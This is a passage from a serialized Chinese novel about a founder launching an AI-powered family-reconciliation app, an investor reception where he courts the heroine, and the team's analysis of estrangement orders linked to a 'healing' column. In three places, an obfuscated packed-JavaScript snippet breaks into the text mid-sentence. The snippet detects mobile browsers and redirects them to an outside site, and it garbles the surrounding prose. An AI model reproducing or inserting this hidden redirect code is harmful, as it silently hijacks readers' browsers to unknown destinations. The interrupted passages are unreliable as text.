“你们知道吗,每天都有成千上万的人在后台给我们留言,有人说,我和父母断绝关系五年了,我想回家,但我不知道怎么开口,有人说,我和老公天天吵架,孩子都不敢回家了,有人说,我被我爸妈控制了一辈子,我不知道怎么反抗。” 他顿了顿。 “这些留言,我每一条都看,看着看着,我就想,这些人,不就是我自己吗?” 台下很安静。 杨亚波的声音沉了下来。 “我小时候,父母也经常吵架,我害怕回家,害怕听到他们的声音,那时候我就发誓,如果有一天我能做点什么,我一定要帮助那些和我一样的人。” 他有些哽咽,眼眶微微泛红。 “所以,我做‘和解大师’,不是为了赚钱,是为了帮助那些曾经的我自己。” 台下响起一阵掌声。 / 杨亚波调整了一下情绪,深吸一口气,继续踱步。 “第二,我们拥抱了最新的技术。” 他的眼睛亮起来。 “我知道,用户的需求在变化,行业的技术在进步。如果我们停在原地,就会被时代抛弃。” 他的声音变得严肃。 “所以,在过去半年里,我们的技术团队一直在加班加点,做一件事。” 他顿了顿,目光扫过台下。 “全面接入AI。” 台下响起低低的惊叹声。 “今天,我要向大家宣布,和解大师APP 2.0,将全面接入人工智能。” 台下响起惊叹声。 杨亚波笑了。 “是的,AI。和解大师2.0,将是国内第一款全面接入人工智能的家庭矛盾调解APP。” 他伸出手,指向身后的大屏幕。 屏幕上出现一行字: 【和解大师2.0:AI驱动的家庭和解】 “我们花了半年时间,训练了一个专门处理家庭矛盾的AI模型。” 他走到舞台边缘,看着台下。 “你们知道这意味着什么吗?意味着,你凌晨三点睡不着,想找人说说话,有人陪你,意味着,你和父母吵架了,不知道该怎么办,有人告诉你该怎么做,意味着,你不用再一个人扛着了。” 他的声音很轻,但很有力。 “AI不是冷冰冰的机器,在我们这里,AI是有温度的。” 台下掌声响起。 / 杨亚波开始介绍AI功能。 他的演讲节奏控制得很好,每一个停顿、每一个手势都恰到好处。说到关键处,他会稍稍提高音量;说到温情处,他的声音会变得柔和。 应宽看得专注。 “AI能做什么?”杨亚波的声音变得激昂。 “第一,AI可以7×24小时响应。无论你什么时候需要帮助,AI都在。” 大屏幕上出现一个聊天界面的演示。用户输入问题:“和父母吵架了怎么办?”AI几乎同时弹出回复,提供了一系列建议:先冷静、分析矛盾点、选择沟通时机…… “第二,AI可以处理80%的简单问题。夫妻吵架、亲子矛盾、婆媳关系……这些常见问题,AI可以在几分钟内给出解决方案。” 大屏幕上出现一系列数据: 【AI处理成功率92%,平均响应时间3秒,用户满意度4.8分。】 “第三,AI可以辅助人工专家。对于复杂案例,AI会先进行分析,生成初步报告,再由人工专家介入。这样,人工专家的时间可以用在最需要他们的地方,而不是浪费在重复劳动上。” 台下掌声响起。 应宽小声说:“跟我猜的一样。” 徐寄遥点点头。 “技术上能做到吗?” 应宽想了想。 “能做到,但效果好不好,要看他们的数据积累,如果没有足够多的真实案例做训练,AI给出的建议会很模板化。” / A ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285559|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' I功能介绍完毕,杨亚波没有停下。 他走到舞台边缘,看着台下的人。 “除了AI升级,我们还新增了两个核心功能。” 大屏幕切换。 【“原生家庭疗愈”专栏】 杨亚波的声音变得温和,像是一个心理咨询师在对患者说话。 “很多用户告诉我们,他们的痛苦,源自于原生家庭。父母的操控、忽视、情感勒索,让他们无法拥有幸福的亲密关系,无法建立健康的自我认知。” 他顿了顿。 “所以,我们推出了‘原生家庭疗愈’专栏。由国内顶尖的心理学家坐镇,帮助用户认清原生家庭的创伤,帮助用户自我救赎。” 台下响起掌声。 应宽冷笑了一声。 “张凌烽也是他们的专家。” 徐寄遥点点头。 杨亚波伸出第三根手指。 “第二个,是‘心理咨询师认证’体系。” 他的声音变得严肃。 “很多用户担心,平台上的心理咨询师是不是专业的,所以,我们推出了认证体系,所有上线服务的咨询师,都必须按照我们的标准严格审核,才能入驻平台。” 台下掌声更热烈了。 / 功能发布完毕,杨亚波没有立刻下台。 他站在舞台中央,等掌声平息。 “我知道,很多人会问:杨亚波,你做这个APP,到底是为了什么?” 他的声音变得深沉。 “我小时候,父母经常吵架。我害怕回家,我害怕听到他们的声音。那时候我就发誓,如果有一天我能做点什么,我一定要帮助那些和我一样的人。” 他顿了顿,目光扫过台下。 “后来我学了心理学,进了互联网,做了产品经理,开了心理咨询机构,做了投资人。每一步,都是在积累。每一步,都是为了今天。” 他的声音微微颤抖。 “‘和解大师’不是我的第一个项目,也不会是最后一个。但它是我的初心。我希望能用它,帮助一亿个家庭,找到和解的方式。” 台下响起热烈的掌声。 “最后,我想说一句。” 他的声音变得庄重。 “和解大师的使命,是‘让每一个家庭,都能拥有和解’,这不是一句口号,这是我们每一个人的承诺。” 他顿了顿,目光扫过台下。 “我知道,有人说我们商业化太重,有人说我们收费太高,有人说我们是在制造焦虑,我想说,你们说的对,也不对。” 台下很安静。 杨亚波笑了。 “商业化怎么了?商业化才能持续。收费怎么了?收费才能提供更好的服务。制造焦虑?不,我们是在解决问题。” 他张开双臂。 “我希望有一天,每个家庭都能拥有和解,我希望有一天,没人再需要和解大师,但在那一天到来之前,我们会一直努力。” 台下掌声雷动。 / 演讲结束,杨亚波站在舞台中央,等掌声平息。 “最后,我想感谢今天到场的各位投资人、媒体朋友,以及一直支持我们的用户。没有你们,就没有‘和解大师’的今天。” 他鞠了一躬。 台下再次掌声。 音乐响起,灯光亮起。 杨亚波微笑着朝台下挥手,然后转身,从舞台侧面离开。 发布会结束了。 周围的人开始流动。有人收拾东西离开,有人往冷餐区走去,有人聚在一起讨论着什么。 应宽看了看时间,下午三点二十分。 整场发布会持续了八十分钟,杨亚波一个人讲了八十分钟。 应宽看着杨亚波离开的方向,忽然说: “寄遥,你觉得他是真的还是演的?” 徐寄遥想了想。 “都是吧,他确实有理想,也确实想赚钱,他把这两件事融合得很好。” 应宽点点头。 “我也这么觉得。” 徐寄遥站起来,整了整裙子。 “走吧,我们的邀请函是包括冷餐会的。” 应宽站起来,跟在她身后。 走到门口的时候,徐寄遥回头看了一眼舞台。 巨大的屏幕上,和解大师的logo还在循环播放。 那行字:“让每一个家庭,都能拥有和解”,在灯光下一闪一闪。 她看了几秒,然后转身,走进了冷餐区。 30.冷餐会 下午三点半,冷餐会开始。 徐寄遥和应宽随着人流往旁边的宴会厅走。 穿过一道玻璃门,眼前豁然开朗。 这个宴会厅比发布会那个更大,挑高至少有八米,巨大的水晶吊灯从穹顶垂下来,把整个空间照得金碧辉煌。 长条桌铺着雪白的桌布,上面摆满了各式各样的食物。 龙虾、生蚝、和牛、鹅肝,还有堆成小山的鱼子酱。 侍者穿着笔挺的制服,端着托盘穿梭其间,托盘上的香槟杯在灯光下泛着琥珀色的光。 应宽看了一眼,小声说: “这规格……一顿饭够我们吃一年。” 他们走到自己的座位前。 每个座位上都放着一个精致的礼盒,深蓝色的丝绒面,上面印着和解大师APP的logo。 徐寄遥打开看了一眼。 里面是一瓶限量版的香水,一条爱马仕的丝巾,一盒手工巧克力,还有一张烫金的卡片,上面写着“感谢您的莅临”。 应宽也打开了自己的那份。 男士的礼盒里是一块手表,不是什么顶级大牌,但也是中高档的品牌,市面上至少要卖两三千。还有一条领带,一个皮质的名片夹。 “这伴手礼,”应宽顿了顿,“至少五千块。” 徐寄遥点点头。 她环顾四周,忽然发现一个问题。 人不多。 发布会的时候,整个宴会厅坐了至少五百人。 但此刻在这个冷餐会现场,她目测只有一百多人,稀稀落落地散在各处。 应宽也注意到了。 “寄遥,人少了很多。” 徐寄遥点点头。 “有筛选,不是所有人都能留下。” 她看着那些正在交谈的人,都是熟面孔。 红杉的沈楠屏,IDG的周权得,真格的徐晓坪,经纬中国的张颖…… 那些顶级投资人一个不少,还有一些她认不出来的面孔,但从穿着和气场来看,也都是有头有脸的人物。 应宽轻声说:“我们居然也在。” 徐寄遥没有说话。 但她心里也在想这个问题。 杨亚波为什么要邀请他们?他们有什么资格出现在这个筛选过的冷餐会上? / 冷餐会开始后,徐寄遥和应宽端着香槟,站在角落里观察。 杨亚波被一群人围着,正在和几个投资人说话。 他还是那副松弛自在的样子,偶尔笑一笑,偶尔点点头,看起来游刃有余。 应宽的目光落在一个正在往杨亚波那边凑的人身上。 那是一个四十来岁的男人,穿着一身定制西装,头发梳得一丝不苟。他端着香槟,站在杨亚波旁边,脸上堆着笑,嘴唇不停地在动。 杨亚波礼貌地听着,偶尔点点头,但目光始终在往别处飘。 那个男人似乎没察觉,还在继续说。 应宽小声说:“你看那个人。” 徐寄遥顺着他的目光看过去。 “怎么了?” 应宽说:“他刚才在发布会的时候,坐我旁面,全程都在拿手机拍杨亚波的PPT,现在又在那边……你看他那样子。” 那个男人又往前凑了凑,几乎要贴到杨亚波身上。 杨亚波微微往后仰了仰,脸上还是那副礼貌的微笑,但笑容已经有点僵了。 “他想抱大腿。” 徐寄遥点点头。 她看了一眼沈楠屏的方向。他正被三四个人围着,每个人都在努力地往他面前凑。 沈楠屏的表情和杨亚波如出一辙,礼貌,疏离,随时准备离开。 她又看了一眼徐晓坪。他身边也有几个人,正在滔滔不绝地说着什么。 应宽轻声说:“寄遥,你觉得我们过去,能说什么?” 徐寄遥没有回答。 她放下了香槟杯。 “算了。” 应宽看着她。 “不去了?” 徐寄遥摇摇头。 “不去了。” 应宽点点头。 两个人继续站在角落里,安静地喝着香槟。 / 就在这时,一个人朝他们走了过来。 杨亚波。 他穿过人群,手里端着一个小小的瓷盘,盘子里放着两枚精致的点心。 那件深灰色的羊绒衫在他身上显得格外妥帖,整个人看起来既放松又有气场。 他走到徐寄遥面前,把瓷盘递过来。 “徐小姐,尝尝这个。” 徐寄遥愣了一下。 杨亚波笑了。 “我今天特意请了一位东京来的甜品师,他在银座有自己的店,米其林二星,预约要排三个月,这次是专门飞过来帮我做这一场冷餐会的。” 他指了指盘子里的点心。 “这一款叫初雪,用北海道牛乳做的,外面是白巧克力,里面是柚子慕斯,据说灵感来自他小时候第一次看到雪的记忆。” 徐寄遥看着那枚点心,精致得像一件艺术品。 她拿起一枚,咬了一口。 白巧克力在嘴里化开,柚子的清香随即弥漫开来,酸甜恰到好处。 杨亚波看着她,眼睛里带着笑意。 “怎么样?” 徐寄遥点点头。 “很好吃。” 杨亚波笑了。 “我第一次吃到这款点心,是在东京,那年冬天,我正好去那边谈一个项目,那天东京下雪了,我一个人在银座闲逛,看到那家店门口排了很长的队,就跟着排了。” 他顿了顿,目光变得有些悠远。 “等了两个小时,终于吃到,那种感觉,怎么说呢……不是单纯的好吃,是一种很奇怪的幸福感,外面下着雪,店里暖洋洋的,手里捧着热茶,咬一口这个点心,就觉得,人生啊,其实挺好的。” 徐寄遥听着,没有说话。 杨亚波转向应宽。 “应先生,你也尝尝。” 应宽拿起另一枚,尝了一口。 他也点点头。 “确实好吃。” 杨亚波笑了。 “两位喜欢就好,一会儿走的时候,我让人给你们打包一份,带回去给工作室的同事们也尝尝。” / 吃完点心,杨亚波没有离开的意思。 他端着香槟杯,站在徐寄遥旁边,像是老朋友在聊天。 “徐小姐,你最近看电影吗?” 徐寄遥愣了一下。 “偶尔看,最近太忙了。” 杨亚波点点头。 “忙是好事,创业初期都这样,不过再忙,也要给自己留点时间。” 他顿了顿。 “我上周去看了一部法国电影,《坠楼死亡的剖析》,不知道你看过没有?” 徐寄遥眼睛亮了一下。 “我看过,去年看的。” 杨亚波笑了。 “是吗?你觉得怎么样?” 徐寄遥想了想。 “很厉害,尤其是庭审那一段,女主角的台词密度那么高,但她全程都在用最平静的语气说最锋利的话。” 杨亚波点点头。 “我特别喜欢导演的处理方式,从头到尾,你都不知道真相是什么,但她让你觉得,真相不重要。” 他顿了顿。 “这部电影让我想到很多创业的事情,有时候,外人看我们,也是这样的,他们看到的只是一个片段,然后就开始评判,但他们不知道全部。” 徐寄遥没有说话。 杨亚波继续说: “还有一个导演,我最近也在补他的片单,是枝裕和。” 徐寄遥点点头。 “《小偷家族》《无人知晓》,都看过。” 杨亚波脸上带着温润的笑意。 “《无人知晓》我看了三遍,那个结尾,他们从阳台上扔鸡蛋,那种绝望里的一点点希望,拍得太好了。” 他顿了顿。 “是枝裕和最厉害的地方,是他从来不judge他的角色,他拍那些被社会抛弃的人,只是让他们存在,让观众自己去感受。” 徐寄遥点点头。 “他的电影没有反派,都是普通人,做着普通的选择,只是这些选择加在一起,变成了悲剧。” 杨亚波看着她,目光里多了一丝欣赏。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289857|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐小姐,你对电影的理解很深。” 徐寄遥笑了。 “杨总客气了。” / 应宽在旁边听着,没有说话。 但他心里在暗暗吃惊。 杨亚波这个人,太厉害了。 他不聊工作,不聊创业,不聊融资,不聊那些投资人最关心的数据。 他聊电影,聊甜品,聊他一个人在东京下雪天的感受。 这些东西,听起来随意,漫不经心,像老朋友聊天。 但每一句,都在拉近距离。 每一句,都在让徐寄遥放下戒备。 他刚才提到的那几部电影,刚好是徐寄遥喜欢的那种类型。他说的那些感受,刚好能跟徐寄遥产生共鸣。 这绝对不是巧合。 他调查过她。他早就知道她喜欢什么。 杨亚波又聊起最近的展览。 “798那边有个新展,德国表现主义的,你们看了吗?” 徐寄遥摇摇头。 “最近太忙了。” 杨亚波点点头。 “这个展不错,值得去看,周末去的话,人比较多,建议你们工作日去。” 他顿了顿。 “对了,国家大剧院这个月底有场音乐会,柏林爱乐的,我定了票,可惜临时有事去不了,徐小姐如果有兴趣,票可以给你。” 徐寄遥愣了一下。 “这……怎么好意思。” 杨亚波笑了。 “票就是给人听的,我去不了,放着也是浪费。” 他说得很随意,像是在说一件微不足道的小事。 但应宽知道,柏林爱乐的票,不是想买就能买到的。 / 三个人又聊了几句,杨亚波看了看手表。 “两位慢慢聊,我去招呼一下其他人。” 他刚要走,又停下来,从口袋里掏出一张名片。 “徐小姐,这是我的私人号码,有什么需要,随时联系我。” 徐寄遥接过来,看了一眼。 名片很简单,只有名字和一串数字,没有任何头衔。 “谢谢杨总。” 杨亚波笑了笑,又看向应宽。 “应先生,保持联系。” 说完,他转身离开了。 应宽看着他的背影,沉默了。 “这个人太厉害了。” 徐寄遥若有所思。 “他聊的那些东西,甜品,电影,展览,音乐会,每一样都是我喜欢的,他调查过我。” 应宽没有说话。 徐寄遥继续说: “他从头到尾,APP的事一个字都没提,他不问数据,不问模式,不问融资计划,他让你觉得,他只是在交朋友。” 应宽压低声音。 “这种人,很危险。” 徐寄遥点点头。 “我知道。” / 两个人又站了一会儿,徐寄遥注意到,那些投资人的座位已经空了一大半。 她看了看时间,快五点了。 “我们也走吧。” 两个人往外走的时候,礼仪小姐微笑着递给他们一个袋子。 “徐小姐,这是您的甜品,杨总特意吩咐,给您和应先生多备了一份。” 徐寄遥接过来,说了声谢谢。 走出酒店,站在门口等车。 四月的北京,傍晚的风还有点凉。 应宽脱下西装外套,披在徐寄遥身上。 徐寄遥愣了一下。 “不用……” 应宽摇摇头。 “穿上吧,你穿裙子,冷。” / 网约车来了。 两个人上车,往工作室的方向开去。 应宽坐在后座,看着窗外掠过的夜景。 “寄遥。” “嗯?” “你刚才跟杨亚波聊电影的时候,话比平时多。” 徐寄遥愣了一下。 “是吗?” 应宽点点头。 徐寄遥沉默了几秒。 “可能因为他说的那些,确实是我喜欢的。” 应宽没有接话。 31.林国华的困境(一):异动 2025年4月24日,上午九点。 发布会过去一天了。 工作室里一切照常。阳光从窗户照进来,落在地板上,暖洋洋的。 应宽坐在电脑前敲代码,吴小糖在整理外勤装备,俞彩虹在角落里翻着一本旧书。 吴小糖第一个忍不住。 她凑到徐寄遥旁边,眼睛亮晶晶的。 “寄遥姐,冷餐会到底怎么样?快说说!” 徐寄遥正在整理文件,被她问得抬起头。 “还行,挺高级的。” 吴小糖凑得更近了。 “点心呢?那个米其林甜品师做的点心,真的有那么好吃吗?” 徐寄遥想了想。 “确实好吃。” 她从旁边拿出一个精致的盒子,递给吴小糖。 “给你带的,昨天放冰箱了,应该还能吃。” 吴小糖眼睛瞬间亮了。 “真的?!” 她打开盒子,看着里面那几枚精致的点心,激动得差点哭出来。 “寄遥姐!你是世界上最好的寄遥姐!” 俞彩虹在旁边笑。 “你这变得也太快了。” 吴小糖已经顾不上回话了,小心翼翼地拿起一枚点心,咬了一口。 然后她整个人定住了。 “唔……” 她的眼睛慢慢瞪大,嘴巴慢慢张开,半天说不出话。 俞彩虹看着她那副样子,忍不住问: “怎么样?” 吴小糖咽下去,长长地呼出一口气。 “俞老师……我错了,我以前觉得我吃过的那些甜品就是甜品,现在我知道了,那才是真正的甜品!” 俞彩虹被她逗笑了。 “行了行了,好吃就慢慢吃,别噎着。” / 吴小糖吃完点心,又想起什么。 “寄遥姐,你们有没有见到那些投资人?” 徐寄遥点点头。 “见到了,但只是远远地看到,没说上话。” 吴小糖有点失望。 “啊?没说上话啊?” 徐寄遥摇摇头。 “那种场合,不是说话的时候。” 吴小糖挠挠头。 “那你们岂不是白去了?” 徐寄遥笑了。 “没白去。” 她顿了顿。 “杨亚波主动来找我们聊了会儿。” 吴小糖的眼睛又亮了。 “真的?!他找你们聊什么了?” 徐寄遥想了想,把杨亚波说的那些话简单复述了一遍,甜品,电影,展览,音乐会。 吴小糖听完,挠挠头。 “这人好像还挺有文化的?” 俞彩虹在旁边轻轻摇了摇头。 “小糖,一个人第一次见面,就能精准地聊到你最感兴趣的话题,这不是巧合。” 吴小糖愣住了。 “难道说……他调查过寄遥姐?” 俞彩虹点点头。 “不仅调查过,而且调查得很深,心理学上有个概念叫镜映效应,通过投其所好来建立亲近感,杨亚波是心理学背景,他太懂这个了。” 吴小糖倒吸一口凉气。 “我去!这么可怕……” 徐寄遥没有说话。 她拉开抽屉,从里面拿出一张名片。 名片很简单,只有名字和一串数字,没有任何头衔。 杨亚波的私人号码。 她盯着那张名片看了几秒,然后把它放回抽屉,关上。 吴小糖凑过来看。 “寄遥姐,你不加他微信吗?” 徐寄遥摇摇头。 “不加。” / 2025年5月14日,上午十点。 距离心之愈专栏正式上线,已经过去了三周。 这三周里,和解大师APP的热度持续发酵。 各大科技媒体的头条,朋友圈的刷屏,投资人群里的讨论,都在说同一件事:和解大师APP 2.0,AI驱动的家庭和解新时代。 但徐寄遥更关心的,是代吵APP后台的数据。 应宽盯着屏幕,眉头越皱越紧。 “寄遥,你过来看看这个。” 徐寄遥走过去。 应宽指着屏幕上的一张图表。 “从4月25日到今天,三周时间,代吵APP上涉及‘原生家庭’关键词的订单,累计突破了300单。” 徐寄遥愣了一下。 “300单?” 应宽点点头。 “而且你看这个增长曲线。” 他调出一张趋势图。 图表上,4月25日到5月1日,这类订单还只是零星出现,每天三五单。 但从5月2日开始,曲线开始往上走。5月5日,突破了10单。5月10日,突破了20单。 昨天,5月13日,单日达到了35单。 “这是在加速增长。”应宽说。 / 徐寄遥盯着那张图,沉默了几秒。 “都是什么类型的诉求?” 应宽点开订单列表,开始筛选。 “我统计了一下。” 他调出一份分析报告。 【时间范围:2025年4月25日-5月14日】 【关键词:原生家庭父母断绝关系操控精神虐待】 【订单总数:317单】 【年龄分布:】 - 20-25岁:248单,占比78% - 25-30岁:48单,占比15% - 30岁以上:21单,占比7% 【诉求分布:】 - 要求与父母断绝关系:133单,占比42% - 要求搬出去住:98单,占比31% - 要求父母停止情感勒索:86单,占比27% 【提到“心之愈”的订单:276单,占比87%】 应宽指着最后一行数据。 “87%的订单都提到了心之愈,这些年轻人,可能都是在和解大师APP新上线的心之愈专栏里接触到这些概念的。” / 吴小糖凑过来看,一边看一边念叨。 “这些人的诉求怎么都差不多?” 俞彩虹走过来,看着屏幕。 “因为他们的认知被重塑了,心之愈给他们植入了一套新的话语体系,他们用这套话语体系重新解释了自己过去的人生经历。” 她顿了顿。 “你以为他们是在表达真实的痛苦?不,他们是在背诵标准答案。” 应宽点开几条订单,展示给大家。 【订单ID:202505020011】 客户昵称:觉醒的飞鸟 诉求:我爸从小控制我的一切,穿什么衣服、学什么专业、交什么朋友,都要听他的。我在心之愈社群认识了有同样经历的朋友,才知道这是精神操控!我需要代吵师帮我跟他们说清楚:我要独立,我要自由! 【订单ID:202505080023】 客户昵称:破碎的心 诉求:我妈每天给我发几十条消息,说我没良心,我看了心之愈的专栏,才知道这是情感勒索!我受不了了,想让他们停止!请代吵师帮我处理。 【订单ID:202505120045】 客户昵称:挣脱牢笼 诉求:我爸说如果我敢搬出去住,就跟我断绝关系。我心里的想法是:断就断!但我不知道怎么开口,怕他闹。需要代吵师帮我谈!心之愈的老师说,这是必须经历的过程。 吴小糖一条一条看下去,越看眉头皱得越紧。 “这些人说话都一个调调……” 俞彩虹点点头。 “这就是洗脑的效果,他们以为自己在独立思考,其实说的都是别人教的话。” / 应宽继续往下翻。 “还有一个有意思的现象。” 他点开几张截图。 “这些订单里,有不少人提到了‘心之愈社群’,说在社群里遇到了很多有同样经历的人,互相鼓励,互相支持。” 俞彩虹眼睛眯起来。 “社群……这是强化洗脑的关键环节。” 她解释道: “一个人被洗脑,很容易动摇,但是,如果有一群人和他一起,互相打气,互相印证,他就很难清醒过来,谁敢怀疑,就会被群起而攻之。” 她顿了顿。 “这种环境下,正常人也会被带偏。” 吴小糖听得直冒冷汗。 “我去,这也太可怕了……” 徐寄遥沉默了几秒。 然后她说: “应宽,你把这些数据整理一下,我们要看清楚,心之愈到底在做什么。” 应宽点点头。 “好。” / 下午两点,应宽把整理好的数据发给大家。 “317单,87%提到心之愈。” 俞彩虹看着那些数据,轻轻叹了口气。 应宽补充信息: “和解大师的心之愈,实际在3月份就开始试运营了,到4月23日正式发布,已经积累了第一批忠实用户,这三周,是效应放大期。” 俞彩虹皱着眉头: “这些年轻人,就是他们的第一批成果。” 吴小糖问:“成果?” 俞彩虹点点头。 “对心之愈来说,这些人就是成果。他们被洗脑后,可能会在家里闹,可能会和父母决裂,会掏钱买课,会加入社群成为新的传教士,一个带一个,就像病毒一样扩散。” 应宽补充道: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291289|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们看这个增长曲线,还在加速,再过一个月,这类订单可能会翻倍。” 徐寄遥没有说话。 她盯着那些数据,看了很久。 / 下午四点,应宽在翻订单的时候,忽然停住了。 “寄遥,你看这个。” 屏幕上的订单,底色不一样。 淡金色。 企业定制服务的标识。 【订单ID:QY202505140001】 客户类型:企业定制 客户姓名:林国华 公司职务:华兴包装总经理 下单时间:2025-05-14 09:47:23 服务等级:企业定制服务·19999元 订单状态:待处理 【诉求目标:我儿子】 【诉求内容:】 “以德服人老师,求您帮帮我。” “我儿子20岁,读大二,最近他突然把我们拉黑了,我怀疑他在外面被人骗了,希望能得到您的帮助。” 【紧急程度:★★★★★】 徐寄遥盯着那条订单,沉默了几秒。 19999元。 这是代吵APP上线以来,接到的第一个企业定制订单。 俞彩虹凑过来看了一眼。 “诉求写得很简单,但能买这个服务的,肯定不是小事。” 吴小糖好奇地问: “他儿子怎么了?” 徐寄遥摇摇头。 “订单里没说清楚。” 应宽手指在键盘上敲了几下。 “华兴包装制品有限公司,注册在燕郊,主营纸箱包装,年营收大概两千万左右,法人代表林国华,52岁,早年是国企工人,后来下海创业,做了二十年。” 他顿了顿。 “是个做实业的老板。” 徐寄遥拿出手机,拨通了订单上的电话。 响了两声,那边接了。 “喂?哪位?” 声音有些沙哑。 “林先生您好,我是代吵APP的‘以德服人’,我叫徐寄遥。” 那边沉默了一秒,然后声音明显激动起来。 “以德服人老师!是您!没想到您会亲自打电话过来!” 徐寄遥微微笑了。 “林先生,您的订单我们收到了。明天方便的话,我想上门拜访,当面沟通一下具体情况。” “方便方便!当然方便!”林国华的声音里带着急切,“您在哪儿?我开车去接您!” 徐寄遥说:“不用麻烦,您把地址发给我就行,我明天上午十点左右到。” 林国华报了地址,在燕郊。 他又补了一句: “徐老师,我在厂里等您!您一定要来!” 挂了电话,徐寄遥看向旁边的两个人。 “明天上午去燕郊,俞老师,小糖,你们准备一下。” 吴小糖兴奋地点头。 “好嘞!” 俞彩虹点点头。 / 吴小糖看着那条订单,忽然说: “他儿子才20岁,比我还小四岁。” 徐寄遥看着她。 “所以呢?” 吴小糖挠挠头。 “所以我觉得……这个年纪的人,最容易被人煽动,哪有凭白无故拉黑自己爸妈的啊!” 俞彩虹点点头。 “小糖说得对,二十岁左右,正是自我意识觉醒的年纪,也是最容易被煽动的年纪,他爸怀疑他这个行为是在外面被人骗了,也是有道理的。” 徐寄遥沉默了几秒。 然后她看着那条订单,轻轻说: “20岁,大二学生……” 她顿了顿。 “这是我们的第一个企业定制客户,大家做好准备,这个案子可能会很复杂。” 吴小糖握紧拳头。 “不怕!我们连张凌烽都搞定了,还怕这个?” / 晚上七点,工作室里安静下来。 吴小糖和俞彩虹已经回去了。应宽还在电脑前,盯着那些数据。 徐寄遥走过来,站在他旁边。 “还不休息?” 应宽摇摇头。 “再盯一会儿。” 他顿了顿。 “寄遥,林国华这个订单,你怎么看?” 徐寄遥想了想。 “现在信息太少,等见了林国华再说。” 应宽点点头。 徐寄遥转身要走,又停下来。 “应宽。” “嗯?” “辛苦了。” 应宽愣了一下。 “嗐……” 徐寄遥笑了笑,转身走了。 应宽看着她的背影,嘴角微微上扬了一下。 工作室里的灯,一直亮着。 32.林国华的困境(二):求助 2025年5月15日,上午九点半。 三个人站在工作室门口等网约车。 北京的五月,阳光明晃晃的,照得人睁不开眼。 吴小糖背着她那个大包,里面塞满了各种可能用上的东西,充电宝、笔记本、录音笔、几瓶水、还有一包饼干。 俞彩虹穿了一件浅绿色的亚麻衬衫,戴着墨镜,手里拿着挎包。 徐寄遥穿了一件尼龙面料的轻薄夹克和一条工装长裤,头发一边撩在耳后。 车来了,三个人上车。 一个小时后,高楼越来越少,厂房越来越多。 路边的招牌上写着各种公司的名字,物流、仓储、包装、机械。 吴小糖看着窗外,忽然说: “这里好偏僻啊……” 俞彩虹点点头。 “燕郊就这样,很多企业把厂子设在这里,成本低。” 车拐进一条小路,两边都是灰色的围墙。开了一会儿,停在一扇大铁门前。 铁门旁边挂着一块牌子: 华兴包装制品有限公司。 吴小糖下了车,抬头看着那扇铁门,咽了咽口水。 “这厂子……挺大的啊……” 铁门里是一个不小的院子,停着几辆货车。 院子深处是一栋三层小楼,外墙贴着白色的瓷砖。 院墙边堆着成摞的纸箱,空气中飘着一股淡淡的纸浆味。 一个中年男人从门卫室里快步走出来。 他穿着一件深蓝色衬衣,扎进黑色西裤里。头发有些花白,梳得一丝不苟。 腰杆挺得很直,走路带风,带着一种特有的干练。 “徐老师!是您吧?” 他快步走到徐寄遥面前,伸出手。 徐寄遥握住他的手。 “林先生您好,我是徐寄遥。” 林国华的手很粗糙,指节粗大,是常年干活留下的痕迹。 “快请进快请进!” / 几个人在办公室坐下。 茶几上已经摆好了茶水和水果。 林国华亲自给她们倒茶,手有点抖,茶水洒出来一点。 “不好意思不好意思……”他赶紧拿纸巾擦。 徐寄遥接过茶杯。 “林先生,您别紧张,慢慢说。” 林国华深吸一口气,坐回沙发上。 “徐老师,我先跟您介绍一下我儿子的情况。” 徐寄遥点点头。 “您说。” 林国华说: “我儿子叫林浩然,今年20岁,读大二,学的是工商管理。” 他顿了顿。 “这孩子,从小被我们宠坏了,舍不得他受一点委屈,要什么给什么,要多少钱给多少钱。” 俞彩虹问: “他以前性格怎么样?” 林国华想了想。 “挺好的,开朗,爱笑,朋友也多,跟我关系也好,有什么事都跟我说,上大学之后,每周都打电话回来,聊学校的事,聊朋友的事,什么都聊。” 他的眉头皱起来。 “但是今年3月开始,他就变了。” 徐寄遥问:“怎么变的?” 林国华说: “先是电话越来越少,打过去爱答不理的,问什么都敷衍,我以为他学习忙,也没多想。” “后来有一天,他突然给我打电话,说想休学。” 徐寄遥抬起头。 “休学?什么理由?” 林国华的眉头皱得更紧了。 “他说,他报了一个什么课程,要花时间学习,我问什么课程,他不肯说,就说对他很重要,让我支持他。” 俞彩虹问:“您当时怎么回应的?” 林国华说: “我肯定不同意啊,好端端的休什么学?他跟我说不通,就把电话挂了。” 他顿了顿。 “从那以后,儿子就不接我电话了。” / 林国华拿出手机,翻出聊天记录递给徐寄遥。 